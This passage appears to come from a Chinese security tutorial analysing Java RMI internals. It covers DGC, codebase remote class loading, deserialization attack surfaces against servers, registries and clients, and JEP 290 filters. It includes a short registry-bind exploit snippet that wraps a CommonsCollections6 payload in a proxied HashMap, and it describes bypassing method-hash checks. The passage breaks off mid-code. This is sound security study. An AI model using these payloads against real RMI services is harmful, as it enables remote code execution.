序列化后写入输出流。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 Object result; try { result = method.invoke(obj, params); } catch (InvocationTargetException e) { throw e.getTargetException(); } try { ObjectOutput out = call.getResultStream(true ); Class<?> rtype = method.getReturnType(); if (rtype != void .class) { marshalValue(rtype, result, out); } } catch (IOException ex) { throw new MarshalException ("error marshalling return" , ex); } } catch (Throwable e) { Throwable origEx = e; logCallException(e); ObjectOutput out = call.getResultStream(false ); if (e instanceof Error) { e = new ServerError ("Error occurred in server thread" , (Error) e); } else if (e instanceof RemoteException) { e = new ServerException ("RemoteException occurred in server thread" , (Exception) e); } if (suppressStackTraces) { clearStackTraces(e); } out.writeObject(e); if (origEx instanceof AccessException) { throw new IOException ("Connection is not reusable" , origEx); } } finally { call.releaseInputStream(); call.releaseOutputStream(); }
DGC DGC (Distributed Garbage Collection,分布式垃圾回收)是 RMI 提供的分布式垃圾回收机制,旨在管理远程对象的生命周期,确保远程对象在不再需要时能被自动回收。其主要作用是确保远程对象的生命周期得到正确管理,避免由于客户端和服务器之间的引用关系错误或遗留引用而导致的内存泄漏。
DGC 初始化 服务端通过 ObjectTable#putTarget
将注册的远程对象放入 objTable
中,里面有默认的 DGCImpl
对象,这个类就是是 RMI 的分布式垃圾回收类。这里分析一下 DGCImpl
对象是什么时候被放到 objTable
中的。
当服务端创建 Target
对象时,permanent
默认为 true
,因此会调用 pinImpl
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public Target (Remote impl, Dispatcher disp, Remote stub, ObjID id, boolean permanent) { this .weakImpl = new WeakRef (impl, ObjectTable.reapQueue); this .permanent = permanent; if (permanent) { pinImpl(); } }
pinImpl
会进一步调用到 WeakRef#pin
进而调用到 DGCImpl
的静态方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 synchronized void pinImpl () { weakImpl.pin(); } public synchronized void pin () { if (strongRef == null ) { strongRef = get(); if (DGCImpl.dgcLog.isLoggable(Log.VERBOSE)) { DGCImpl.dgcLog.log(Log.VERBOSE, "strongRef = " + strongRef); } } }
我们知道,当一个类的静态方法或者静态成员被访问的时候,会触发隐式类加载,类的静态代码块被执行并且类的静态变量被初始化。
首先租约时长 leaseValue
会被初始化为默认值 10 分钟。
1 2 3 4 5 6 7 8 9 10 private static final long leaseValue = AccessController.doPrivileged( new GetLongAction ("java.rmi.dgc.leaseValue" , 600000 ));
另外还会执行 DGCImpl
的静态代码代码块:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 static { AccessController.doPrivileged(new PrivilegedAction <Void>() { public Void run () { ClassLoader savedCcl = Thread.currentThread().getContextClassLoader(); try { Thread.currentThread().setContextClassLoader(ClassLoader.getSystemClassLoader()); try { dgc = new DGCImpl (); ObjID dgcID = new ObjID (ObjID.DGC_ID); LiveRef ref = new LiveRef (dgcID, 0 ); UnicastServerRef disp = new UnicastServerRef (ref, DGCImpl::checkInput); Remote stub = Util.createProxy(DGCImpl.class, new UnicastRef (ref), true ); disp.setSkeleton(dgc); Permissions perms = new Permissions (); perms.add(new SocketPermission ("*" , "accept,resolve" )); ProtectionDomain[] pd = { new ProtectionDomain (null , perms) }; AccessControlContext acceptAcc = new AccessControlContext (pd); Target target = AccessController.doPrivileged( new PrivilegedAction <Target>() { public Target run () { return new Target (dgc, disp, stub, dgcID, true ); } }, acceptAcc ); ObjectTable.putTarget(target); } catch (RemoteException e) { throw new Error ("exception initializing server-side DGC" , e); } } finally { Thread.currentThread().setContextClassLoader(savedCcl); } return null ; } }); }
这部分的主要逻辑为:
DGCImpl
的设计是单例模式,因此首先会在静态代码快中创建唯一的 DGCImpl
实例:
创建用于远程通信的 LiveRef
,并封装为 UnicastServerRef
。其中 ObjId
为 2,监听端口随机。
1 2 3 ObjID dgcID = new ObjID (ObjID.DGC_ID); LiveRef ref = new LiveRef (dgcID, 0 ); UnicastServerRef disp = new UnicastServerRef (ref, DGCImpl::checkInput);
和注册中心一样,UnicastServerRef#setSkeleton
会调用 Util.createSkeleton
创建注册中心 DGCImpl_Skel
的骨架类
创建 DGCImpl
的存根对象 DGCImpl_Stub
。
1 2 Remote stub = Util.createProxy(DGCImpl.class, new UnicastRef (ref), true );
创建 Target
对象并存放至 ObjectTable
中。
1 2 3 4 5 6 7 8 9 10 Target target = AccessController.doPrivileged( new PrivilegedAction <Target>() { public Target run () { return new Target (dgc, disp, stub, dgcID, true ); } }, acceptAcc); ObjectTable.putTarget(target);
客户端部分 当注册中心返回一个 Stub
给客户端时,其跟踪 Stub
在客户端中的使用。当再没有更多的对 Stub
的引用时,或者如果引用的“租借”过期(租期默认 10 分钟)并且没有更新,服务端将垃圾回收远程对象。客户端可以调用 dirty
用来续租,也可以调用 clean
用来清除远程对象。
类似注册中心,客户端本地也会生成一个 DGCImpl_Stub
,并调用 DGCImpl_Stub#dirty
,用来向服务端”租赁”远程对象的引用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 public java.rmi.dgc.Lease dirty (java.rmi.server.ObjID[] $param_arrayOf_ObjID_1, long $param_long_2, java.rmi.dgc.Lease $param_Lease_3) throws java.rmi.RemoteException { try { java.rmi.server.RemoteCall call = ref.newCall((java.rmi.server.RemoteObject) this , operations, 1 , interfaceHash); try { java.io.ObjectOutput out = call.getOutputStream(); out.writeObject($param_arrayOf_ObjID_1); out.writeLong($param_long_2); out.writeObject($param_Lease_3); } catch (java.io.IOException e) { throw new java .rmi.MarshalException("error marshalling arguments" , e); } ref.invoke(call); java.rmi.dgc.Lease $result; Connection connection = ((StreamRemoteCall) call).getConnection(); try { java.io.ObjectInput in = call.getInputStream(); if (in instanceof ObjectInputStream) { ObjectInputStream ois = (ObjectInputStream) in; AccessController.doPrivileged((PrivilegedAction<Void>) () -> { ois.setObjectInputFilter(DGCImpl_Stub::leaseFilter); return null ; }); } $result = (java.rmi.dgc.Lease) in.readObject(); } catch (java.io.IOException | java.lang.ClassNotFoundException e) { if (connection instanceof TCPConnection) { ((TCPConnection) connection).getChannel().free(connection, false ); } throw new java .rmi.UnmarshalException("error unmarshalling return" , e); } finally { ref.done(call); } return $result; } catch (java.lang.RuntimeException e) { throw e; } catch (java.rmi.RemoteException e) { throw e; } catch (java.lang.Exception e) { throw new java .rmi.UnexpectedException("undeclared checked exception" , e); } }
前面在服务调用分析过:
ref.invoke(call)
会有调用链 invoke => UnicastRef#invoke => executeCall() => readObject()
,其中 executeCall
会在远程调用异常的时候将异常对象反序列化。
如果正常调用,dirty
后续会对返回的对象反序列化。
服务端部分 因为也是远程调用,因此服务端同样会通过 sun.rmi.transport.tcp.TCPTransport#handleMessages
函数处理请求。然后又因为 DGCImpl
对应的 Target
与注册中心类似,因此有调用链 handleMessages => UnicastServerRef#dispatch => oldDispatch
。
oldDispatch
会调用 DGCImpl_Skel#dispatch
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 private void oldDispatch (Remote obj, RemoteCall call, int op) throws Exception { long hash; ObjectInput in = call.getInputStream(); try { Class<?> clazz = Class.forName("sun.rmi.transport.DGCImpl_Skel" ); if (clazz.isAssignableFrom(skel.getClass())) { ((MarshalInputStream) in).useCodebaseOnly(); } } catch (ClassNotFoundException ignore) { } skel.dispatch(obj, call, op, hash); }
DGCImpl_Skel#dispatch
中对应 clean
和 dirty
两种请求的处理都涉及对参数的反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 public void dispatch (java.rmi.Remote obj, java.rmi.server.RemoteCall remoteCall, int opnum, long hash) throws java.lang.Exception { if (hash != interfaceHash) { throw new java .rmi.server.SkeletonMismatchException("interface hash mismatch" ); } sun.rmi.transport.DGCImpl server = (sun.rmi.transport.DGCImpl) obj; StreamRemoteCall call = (StreamRemoteCall) remoteCall; switch (opnum) { case 0 : { java.rmi.server.ObjID[] $param_arrayOf_ObjID_1; long $param_long_2; java.rmi.dgc.VMID $param_VMID_3; boolean $param_boolean_4; try { java.io.ObjectInput in = call.getInputStream(); $param_arrayOf_ObjID_1 = (java.rmi.server.ObjID[]) in.readObject(); $param_long_2 = in.readLong(); $param_VMID_3 = (java.rmi.dgc.VMID) in.readObject(); $param_boolean_4 = in.readBoolean(); } catch (ClassCastException | java.io.IOException | ClassNotFoundException e) { call.discardPendingRefs(); throw new java .rmi.UnmarshalException("error unmarshalling arguments" , e); } finally { call.releaseInputStream(); } server.clean($param_arrayOf_ObjID_1, $param_long_2, $param_VMID_3, $param_boolean_4); try { call.getResultStream(true ); } catch (java.io.IOException e) { throw new java .rmi.MarshalException("error marshalling return" , e); } break ; } case 1 : { java.rmi.server.ObjID[] $param_arrayOf_ObjID_1; long $param_long_2; java.rmi.dgc.Lease $param_Lease_3; try { java.io.ObjectInput in = call.getInputStream(); $param_arrayOf_ObjID_1 = (java.rmi.server.ObjID[]) in.readObject(); $param_long_2 = in.readLong(); $param_Lease_3 = (java.rmi.dgc.Lease) in.readObject(); } catch (ClassCastException | java.io.IOException | ClassNotFoundException e) { call.discardPendingRefs(); throw new java .rmi.UnmarshalException("error unmarshalling arguments" , e); } finally { call.releaseInputStream(); } java.rmi.dgc.Lease $result = server.dirty($param_arrayOf_ObjID_1, $param_long_2, $param_Lease_3); try { java.io.ObjectOutput out = call.getResultStream(true ); out.writeObject($result); } catch (java.io.IOException e) { throw new java .rmi.MarshalException("error marshalling return" , e); } break ; } default : throw new java .rmi.UnmarshalException("invalid method number" ); } }
RMI 攻击面 远程类加载(6u45/7u21 前) RMI 的一个特点就是动态加载类,如果当前 JVM 中没有某个类的定义,它可以从远程 URL 去下载这个类的 class。
例如当客户端调用远程方法时,参数对象会被序列化后传输到服务器端。为了成功传输和处理这些对象,服务器端需要能够反序列化客户端传递的对象。如果服务器端的类路径中没有相应的类,反序列化就会失败,抛出 ClassNotFoundException
。
为了解决这个问题,RMI 提供了一种 动态类加载 机制。当客户端传递的对象在服务器端找不到时,服务器会根据配置自动从指定的位置加载相应的类字节码。这通常是通过设置 java.rmi.server.codebase
属性来实现的,并且服务端和客户端都支持这个功能。
代码示例 java.rmi.server.codebase
属性可以在 Java 代码中通过 Java 启动参数 -Djava.rmi.server.codebase="http://127.0.0.1:8000/"
来设置,也可以使用如下代码设置:
1 System.setProperty("java.rmi.server.codebase" , "http://127.0.0.1:8000/" );`
老版本 JDK(6u45/7u21 之前) 的默认配置下,客户端把“代码库(codebase)URL”作为序列化注解写进了 RMI 数据流 ;服务器在反序列化时会读取这个注解 ,并把它当作该类的远程加载位置 来用,从而去这个 URL 下载类。
然而无论是客户端还是服务端要远程加载类时,出于安全考虑,会进行一系列权限控制。这些控制由 Java 安全管理器 (SecurityManager
) 和 安全策略文件 (java.security.policy
)决定。
首先是 Java 安全管理器,因为我们通过网络加载外部类并执行方法,所以我们必须要有一个安全管理器来进行管理,如果没有设置安全管理,则 RMI 不会动态加载任何类。通常我们使用如下代码设置安全管理器:
1 2 3 4 if (System.getSecurityManager() == null ) { System.setSecurityManager(new RMISecurityManager ()); }
另外我们还需要设置 java.security.policy
为指定的安全策略文件文件来确保 动态类加载 能够正常工作并且不引发安全异常。
java.security.policy
可以使用启动参数 -Djava.security.policy=rmi.policy
来指定,也可以使用如下代码指定:
1 System.setProperty("java.security.policy" , RMIServer.class.getClassLoader().getResource("rmi.policy" ).toString());
在安全策略文件(这里我们指定为 rmi.policy
)中需要授予执行 RMI 相关操作的权限。
1 2 3 grant { permission java.security.AllPermission; };
我们在客户端 RMI 远程调用时传入了一个服务端不存在的类对象 Calc
。
1 hello.sayHello(new Calc ());
服务端在反序列时 Calc
对象时发现 Calc
类不存在,于是会从 java.rmi.server.codebase
指定的 URL 中寻找 Calc.class
并加载。加载完 Calc.class
便会对传入的 Calc
对象参数进行反序列化。
代码分析 反序列化触发类加载的调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 findClass:361, URLClassLoader (java.net) loadClass:424, ClassLoader (java.lang) loadClass:411, ClassLoader (java.lang) loadClass:349, Launcher$AppClassLoader (sun.misc) loadClass:411, ClassLoader (java.lang) loadClass:1207, LoaderHandler$Loader (sun.rmi.server) loadClass:357, ClassLoader (java.lang) forName0:-1, Class (java.lang) forName:348, Class (java.lang) loadClassForName:1221, LoaderHandler (sun.rmi.server) loadClass:453, LoaderHandler (sun.rmi.server) loadClass:186, LoaderHandler (sun.rmi.server) loadClass:637, RMIClassLoader$2 (java.rmi.server) loadClass:264, RMIClassLoader (java.rmi.server) resolveClass:219, MarshalInputStream (sun.rmi.server) readNonProxyDesc:1868, ObjectInputStream (java.io) readClassDesc:1751, ObjectInputStream (java.io) readOrdinaryObject:2042, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) readObject:431, ObjectInputStream (java.io) unmarshalValue:322, UnicastRef (sun.rmi.server) unmarshalParametersUnchecked:628, UnicastServerRef (sun.rmi.server) unmarshalParameters:616, UnicastServerRef (sun.rmi.server) dispatch:338, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:573, TCPTransport (sun.rmi.transport.tcp) run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 1367380156 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5) doPrivileged:-1, AccessController (java.security) run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:748, Thread (java.lang)
我们发现实际上通过 URL 远程加载类的类加载器是 sun.rmi.server.LoaderHandler$Loader
这个类加载器是 URLClassLoader
的子类。
1 2 3 4 5 6 7 8 9 10 11 private static class Loader extends URLClassLoader { }
其中在 MarshalInputStream#resolveClass
中,readLocation
可以读取我们指定的 codebase
。我们只需要在攻击方添加如下代码设置 codebase
,那么被攻击方在执行 readLocation
时就可以得到攻击方的 codebase
然后到攻击方指定的 url 上加载类。
1 System.setProperty("java.rmi.server.codebase" , "http://127.0.0.1:8000/" );
不过这需要 useCodebaseOnly
是为 false
才能远程指定任意 codebase
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 protected Object readLocation () throws IOException, ClassNotFoundException { return readObject(); } Object annotation = readLocation();String codebase = null ;if (!useCodebaseOnly && annotation instanceof String) { codebase = (String) annotation; } try { return RMIClassLoader.loadClass(codebase, className, defaultLoader); } catch (AccessControlException e) {
然而从 JDK 6u45、7u21 开始,java.rmi.server.useCodebaseOnly
的默认值就是 true
,也就是说我们不能指定目标服务器从任意地址加载恶意类。这导致 RMI 远程类加载这种攻击方式变得很鸡肋。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 private static final boolean useCodebaseOnlyProperty = !java.security.AccessController.doPrivileged( new sun .security.action.GetPropertyAction( "java.rmi.server.useCodebaseOnly" , "true" ) ) .equalsIgnoreCase("false" ); private boolean useCodebaseOnly = useCodebaseOnlyProperty;
在 LoaderHandler#loadClass
中会通过 pathToURLs
函数将我们远程指定的 codebase
转换成 URL
数组。
如果我们没有远程指定 codebase
或者 useCodebaseOnly
值为 true
导致 codebase
为 null
,则会通过 getDefaultCodebaseURLs
初始化 url
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public static Class<?> loadClass(String codebase, String name, ClassLoader defaultLoader) throws MalformedURLException, ClassNotFoundException { URL[] urls; if (codebase != null ) { urls = pathToURLs(codebase); } else { urls = getDefaultCodebaseURLs(); } if (defaultLoader != null ) { } return loadClass(urls, name); }
getDefaultCodebaseURLs
实际上返回的是 codebaseProperty
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 private static synchronized URL[] getDefaultCodebaseURLs() throws MalformedURLException { if (codebaseURLs == null ) { if (codebaseProperty != null ) { codebaseURLs = pathToURLs(codebaseProperty); } else { codebaseURLs = new URL [0 ]; } } return codebaseURLs; }
在 LoaderHandler
的静态代码块中 codebaseProperty
被初始化,读取的是本地配置的 java.rmi.server.codebase
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 private static String codebaseProperty = null ;static { String prop = java.security.AccessController.doPrivileged( new GetPropertyAction ("java.rmi.server.codebase" )); if (prop != null && prop.trim().length() > 0 ) { codebaseProperty = prop; } }
反序列化 RMI 的整个过程设计多处反序列化,因此易被反序列化攻击:
攻击客户端
RegistryImp_Stub#lookup
:反序列化注册中心返回的 Stub
UnicastRef#invoke
:反序列化远调方法的执行结果
StreamRemoteCall#executeCall
:反序列化远程调用返回的异常类
DGCImpl_Stub#dirty
攻击服务端
UnicastServerRef#dispatch
:反序列化客户端传递的方法参数
DGCImpl_Skel#dispatch
攻击注册中心
RegistryImp_Stub#bind
:注册中心反序列化服务端传递传来的远程对象
攻击服务端(无限制) UnicastServerRef#dispatch
调用了unmarshalValue
来反序列化客户端传来的远程方法参数,因此我们可以通过传递反序列化 payload 作为参数在服务端触发反序列化漏洞。
然而远程方法的参数是有参数类型的,所以我们进行远程方法调用的时候要求参数类型要与方法定义的参数类型相匹配,例如:
如果远程方法的参数是 Object
类型的,那么我们之间传递反序列化 payload 是可以正常在远程触发反序列化漏洞的。
但是如果远程方法的参数与我们传递的反序列化 payload 的类型不匹配,那么我们在传递参数的时候在本地就会报类型错误。
针对这种情况我们有如下尝试:
如果我们在获取远程对象后通过反射调用远程方法并强制传入反序列化 payload ,此时会有 java.lang.IllegalArgumentException: argument type mismatch
报错,这说明反射调用和正常调用一样会有参数检查。
如果我们在另外定义一个与我们参数类型匹配的方法,则不匹配则会有 java.rmi.UnmarshalException: unrecognized method hash: method not supported by remote object
报错。这是因为客户端方法的哈希和服务端方法的哈希不同,hashToMethod_Map
找不到对应的方法。
从上述尝试中我们发现,其实参数类型的校验始终发生在本地,远程反序列化参数之前都不知道我们传递的参数是什么,更谈不上参数类型的校验。
前面第二种尝试可以绕本地参数类型的校验,我们只需要在这种方法的基础上想办法修改远程方法调用时传递的方法的哈希就可以在服务端反序列化参数。
最直接的修改哈希的方法就是通过调试在 RemoteObjectInvocationHandler
调用 invokeRemoteMethod
的时候修改 getMethodHash(method)
获取到的哈希。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private Object invokeRemoteMethod (Object proxy, Method method, Object[] args) throws Exception { try { return ref.invoke((Remote) proxy, method, args, getMethodHash(method)); } catch (Exception e) { } }
另一种方法就是通过 Java Agent 技术进行字节码插桩,以此来修改方法哈希。
攻击注册中心(8u121、7u131、6u141 前) 注册中心和服务端是可以分开的,服务端可以使用 Naming
提供的接口来操作注册中心。
1 Naming.bind("rmi://127.0.0.1:1099/hello" , hello);
前面分析过,这种写法本质上等价于下面这个写法:
1 2 Registry registry = LocateRegistry.getRegistry("127.0.0.1" , 1099 );registry.bind("rmi://127.0.0.1:1099/hello" , hello);
这里获取到的实际上就是 Registry
的动态代理 ResgitryImpl_Stub
,其中的 bind
方法依然存在序列化和反序列化。服务端将待绑定的对象序列化,注册中心收到后反序列化。
低版本 RMI 注册中心没有身份验证的功能,客户端都可以进行 bind
、unbind
、rebind
这些操作。
这里 bind
的参数因为是远程对象,所以要求是 Remote
类型。
但是我们不能直接让反序列化 payload 实现 Remote
接口。这是因为反序列化利用的类都是注册中心中存在的类。如果强行定义一个实现 Remote
的接口,则在注册中心反序列化的时候会出现找不到类的情况。
我们知道 HashMap
类型在反序列化的时候键值对都会分别被反序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException ("Illegal load factor: " + loadFactor); s.readInt(); int mappings = s.readInt(); if (mappings < 0 ) throw new InvalidObjectException ("Illegal mappings count: " + mappings); else if (mappings > 0 ) { ... for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } }
因此可以使用 AnnotationInvocationHandler
来动态代理 Remote
接口,并且设置 memberValues
为 HashMap
,然后 HashMap
中再存放反序列化的 payload。
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0 ] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); this .type = type; this .memberValues = memberValues; }
此时生成的动态代理对象继承于 Remote
,符合参数条件,并且动态代理在反序列化的时候会反序列化 AnnotationInvocationHandler
进而反序列化 memberValues
成员(即 HashMap
),并最终反序列化 HashMap
中的键值对触发反序列化 payload。
1 2 3 4 5 6 7 8 9 10 HashMap hashMap = new HashMap <>();hashMap.put("sky123" , CommonsCollections6.getPayload()); Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, hashMap);Remote remoteObject = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Remote.class}, handler);Registry registry = LocateRegistry.getRegistry("127.0.0.1" , 1099 );registry.bind("rmi://127.0.0.1:1099/remoteObject" , remoteObject);
攻击客户端(无限制) 如果攻击的目标作为 Client 端,也就是在 Registry 地址可控,或 Registry/Server 端可控,也是可以导致攻击的。客户端主要有两个交互行为,第一是从 Registry 端获取调用服务的 stub 并反序列化,第二步是调用服务后获取执行结果并反序列化。
这部分攻击实战意义较少,并且与上述讨论的攻击 Server 端和 Registry 端的攻击都是镜像行为,所以这里简单描述一下流程就不再演示了。
恶意 Server Stub:同攻击 Registry 端,Client 端在 Registry 端 lookup 后会拿到一个 Server 端注册在 Registry 端的代理对象并反序列化触发漏洞。
恶意 Server 端返回值:同攻击 Server 端的恶意服务参数,Server 端返回给 Client 端恶意的返回值,Client 端反序列化触发漏洞,不再赘述。
动态类加载:同攻击 Server 端的动态类加载,Server 端返回给 Client 端不存在的类,要求 Client 端去 codebase 地址远程加载恶意类触发漏洞,不再赘述。
攻击DGC JEP290 JEP 290 是 Java 中非常重要的一个安全增强提案,主要用于 增强 Java 反序列化的安全性控制 。它在 Java 9 中引入,核心思想是 为反序列化过程增加“白名单”机制 ,防止反序列化任意类造成的远程代码执行(RCE)等安全问题。
JEP 290: Filter Incoming Serialization Data
JEP 290:过滤传入的序列化数据
Allow incoming streams of object-serialization data to be filtered in order to improve both security and robustness.
允许对传入的对象序列化数据流进行过滤,以提升安全性与健壮性。
虽然这个提案是在 Java9 提出的,但在 JDK6、7、8 的高版本中也引入了这个机制(JDK8u121、JDK7u131、JDK6u141)。
根据官方的描述,核心机制在于一个可以被用户实现的filter接口,作为 ObjectInputStream
的一个属性,反序列化时会触发接口的方法,对序列化类进行合法性检查。每个对象在被实例化和反序列化之前,过滤器都会被调用,除去Java的基本类型和 java.lang.String
(若过滤器未设置,默认使用全局过滤器)。此外,针对RMI,用于导出远程对象的 UnicastServerRef
中的 MarshalInputStream
也设置了过滤器,用于验证方法参数的合法性。
原生反序列化的入口在ObjectInputStream#readObject
,在这里设置过滤器再合适不过。JEP 290在ObjectInputStream
类中增加了一个serialFilter
属性和一个filterCheck
方法。
全局默认过滤器 初始化 serialFilter ObjectInputStream
的构造方法初始化了 serialFilter
。
1 2 3 4 5 6 7 8 9 10 11 private ObjectInputFilter serialFilter;public ObjectInputStream (InputStream in) throws IOException { serialFilter = ObjectInputFilter.Config.getSerialFilter(); }
Config
是 sun.misc.ObjectInputFilter
这个接口的一个静态内部类,getSerialFilter
返回 Config
的静态字段 serialFilter
。
1 2 3 4 5 6 7 8 9 10 11 12 13 public static ObjectInputFilter getSerialFilter () { synchronized (serialFilterLock) { return serialFilter; } }
这个静态字段在 Config
的静态代码块中进行初始化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 private final static String SERIAL_FILTER_PROPNAME = "jdk.serialFilter" ;private final static ObjectInputFilter configuredFilter;static { configuredFilter = AccessController .doPrivileged((PrivilegedAction<ObjectInputFilter>) () -> { String props = System.getProperty(SERIAL_FILTER_PROPNAME); if (props == null ) { props = Security.getProperty(SERIAL_FILTER_PROPNAME); } if (props != null ) { System.Logger log = System.getLogger("java.io.serialization" ); log.log(System.Logger.Level.INFO, "Creating serialization filter from {0}" , props); try { return createFilter(props); } catch (RuntimeException re) { log.log(System.Logger.Level.ERROR, "Error configuring filter: {0}" , re); } } return null ; }); configLog = (configuredFilter != null ) ? System.getLogger("java.io.serialization" ) : null ; } private static ObjectInputFilter serialFilter = configuredFilter;
这段代码的逻辑是先 System.getProperty("jdk.serialFilter")
,再 Security.getProperty("jdk.serialFilter")
;前者存在则覆盖后者。因为默认情况下两者皆为空因此全局过滤器默认为 null
。
若有设置这两个全局属性,才会调用 createFilter
函数根据 jdk.serialFilter
属性预先设置的字符串构造序列化过滤器 serialFilter
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 public static ObjectInputFilter createFilter (String pattern) { Objects.requireNonNull(pattern, "pattern" ); return Global.createFilter(pattern); }
字符串的语法规则为:
由分号 ;
分隔的多段规则 组成,空格算内容 。形式如:rule1;rule2;rule3
两类子规则:
先检查限制项 (超限直接 REJECTED
),再按顺序匹配类 (命中第一条就决定 ALLOWED
/REJECTED
;都不命中 → UNDECIDED
)。
数组按元素类型匹配 (拒 com.evil.Foo
也会拒 Foo[]/Foo[][]
)。
Config#createFilter
实际调用的是 Global#createFilter
静态方法,内部实际上是实例化并返回了一个 Global
对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 static ObjectInputFilter createFilter (String pattern) { try { return new Global (pattern); } catch (UnsupportedOperationException uoe) { return null ; } }
Global
本身就实现了 ObjectInputFilter
接口。Global
的构造函数会解析我们传入的匹配规则 pattern
,将规则解析成一个个 lambda 表达式,lambda 表达式会返回 ObjectInputFilter.Status
。这些 lambda 表达式组保存在 filters
属性中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 private Global (String pattern) { boolean hasLimits = false ; this .pattern = pattern; maxArrayLength = Long.MAX_VALUE; maxDepth = Long.MAX_VALUE; maxReferences = Long.MAX_VALUE; maxStreamBytes = Long.MAX_VALUE; String[] patterns = pattern.split(";" ); filters = new ArrayList <>(patterns.length); for (int i = 0 ; i < patterns.length; i++) { String p = patterns[i]; int nameLen = p.length(); if (nameLen == 0 ) { continue ; } if (parseLimit(p)) { hasLimits = true ; continue ; } boolean negate = p.charAt(0 ) == '!' ; int poffset = negate ? 1 : 0 ; int slash = p.indexOf('/' , poffset); if (slash == poffset) { throw new IllegalArgumentException ("module name is missing in: \"" + pattern + "\"" ); } final String moduleName = (slash >= 0 ) ? p.substring(poffset, slash) : null ; poffset = (slash >= 0 ) ? slash + 1 : poffset; final Function<Class<?>, Status> patternFilter; if (p.endsWith("*" )) { if (p.endsWith(".*" )) { final String pkg = p.substring(poffset, nameLen - 1 ); if 